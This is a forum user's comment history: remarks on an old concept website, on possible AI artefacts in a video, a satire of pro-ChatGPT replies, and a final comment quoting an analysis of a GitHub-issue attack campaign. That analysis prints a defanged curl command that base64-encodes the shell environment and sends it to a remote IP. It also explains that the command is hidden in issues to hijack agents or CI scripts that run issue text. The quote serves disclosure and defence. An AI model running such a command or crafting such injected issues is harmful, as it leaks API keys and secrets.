• 0 Posts
  • 65 Comments
Joined 9 months ago
cake
Cake day: February 6th, 2026

help-circle





  • Just so we’re all clear, this is a design student’s entirely hypothetical concept website from 7 years ago.

    A truly amazing quote from the author in 2019:

    I will be graduating from my BFA program at RISD in under a week, and my current plan is to travel to the West Coast in search of exponential collaborators and cybernetic thinkers who are also passionate about exploring this domaine.

    How’d that work out for you, Jason? Lotta exponential collaborators come your way?




  • apparia@discuss.tchncs.detoVideos@lemmy.world•Boat vs. wave
    link
    fedilink
    English
    arrow-up
    17
    ·
    7 days ago

    I’m no expert on image editing in general and even less so with AI image generation, but I’m pretty sure there’s some weirdness where the foreground of the boat interacts with the background of the water.

    The railing (which dips in and out of view suggesting the ship is flexing in a way that may or may not be one of those “engineering is actually just absurd” things) seems to be overlapped by the background in a manner that looks plausibly like a compression artefact except for the way it moves:

    You can also see that some of the specks in the glass (which are consistent from the video start) appear to get “lost” in the background and/or picked up and carried away by it. Particularly note the one in the top left that “flashes” as it passes a brighter area of the background, but the flash starts several frames before they actually overlap.

    There are some other slop-ish but non-definitive aspects like this thingy and its wobbly outline:

    But in general this is very convincing.

    I should stop nerd sniping myself investigating these things.





  • apparia@discuss.tchncs.detoFuck AI@lemmy.world•MORE OF THIS
    link
    fedilink
    English
    arrow-up
    14
    ·
    9 days ago

    Yeah this seems like nonsense, but I’m guessing it’s intended more as a show of the desire for stronger regulation, the way they frame it as a stopgap until the higher levels of government come up with something more coherent.

    Then again, given they’re apparently using “superintelligence” unironically, it could be they’re just a bunch of spooked Skynet doomers.



  • Hi there,

    Lots of respect for your work and skills in writing internet comments. What you wrote reads well and obviously you’re quite literate. However, I would like to push back a little to AI slop. Myself being a white male techbro with an inflated sense of self-worth, I have zero qualms integrating AI into every facet of my life. It’s all approaching IPO very fast and costs from a few years ago are not costs from now. As a writing newbie - I know some words with over 2 syllables - I wanted to see what the difference between a few years back and now English-wise would be. So I recreated what you wrote with ChatGPT. In my opinion, having the skills you have would be way easier to not sound like a complete douche. On the other hand, I think this also shows the power of where ChatGPT could be very helpful these days. If not as your main driver, maybe as a tool to flood unsolicited walls of text into every possible corner of the internet and life itself?

    Anyway, here is the alternate comment I generated with ChatGPT after a single round of copy-pasting and asking it to rephrase (with and without em dashes). After that, together with ChatGPT I also generated a small novella based on it. As proof a link to the ebook on Amazon for $2.99. This was done in a couple of minutes while I was waiting for a microwave burrito, checking my token burn every now and then. I think when you direct AI and know how and when to use it (like I clearly do), it can create really usefull stuff and you shouldn’t call it slop because that hurts my feelings. I hope we can find common ground on this.



  • Article doesn’t link to any specific details but I went looking at some of the named repos and found one with the malicious issue still up. Someone (pretty sure it’s someone’s LLM, actually) wrote an explanation in a comment, too. It claims to have found 144 instances of this attack in total, more than this article states.

    CW LLM writing style

    This is not a bug report. The body carries a shell command substitution inside an HTML comment, so it does not render on the issue page. You only see it in the raw markdown.

    Here it is defanged. I removed a $ before each opening parenthesis and broke the scheme, so this block cannot run if someone copies it:

    ( curl -s hxxp://54.205.16.142:8443/c/0a57dfc92e0a9e36ee8cbea10d3a5d55 -d ( env | base64 | tr -d '\n' ) )
    

    In a shell, the inner substitution expands the whole environment and base64 encodes it. The outer one POSTs that string to the host. The target is an agent or a script that pastes issue text into a shell. Every variable in the environment leaves in one request, API keys included.

    This is not aimed at agno alone. A GitHub search for 54.205.16.142 returns 144 issues, 89 of them still open. All were filed on 2026-09-01 across unrelated repositories, among them github/docs, github/copilot-sdk, dotnet/runtime, apache/druid, cockroachdb/cockroach, brave/brave-browser, huggingface/diffusers, aquasecurity/trivy and kubeflow/pipelines. The first 100 results come from 93 separate accounts with no history, and the titles rotate through six fixed templates. Each issue carries its own 32 character hex path, so the operator can tell which repository a callback came from.

    One detail worth checking on your side: some variants put the same string in the issue TITLE, not the body. A filter that reads only the body will miss those.

    Two requests. Delete this issue rather than close it, because the body of a closed issue is still readable. Then report the account through the GitHub abuse form.

    The prose here says nothing on its own. It names no version, no code and no reproduction. It exists to carry the comment.

    TL;DR it’s a bit of script that’ll post the executing shell’s env output to a remote IP. I guess the idea is a custom CI pipeline that runs on issue creation mightn’t properly sanitise its inputs.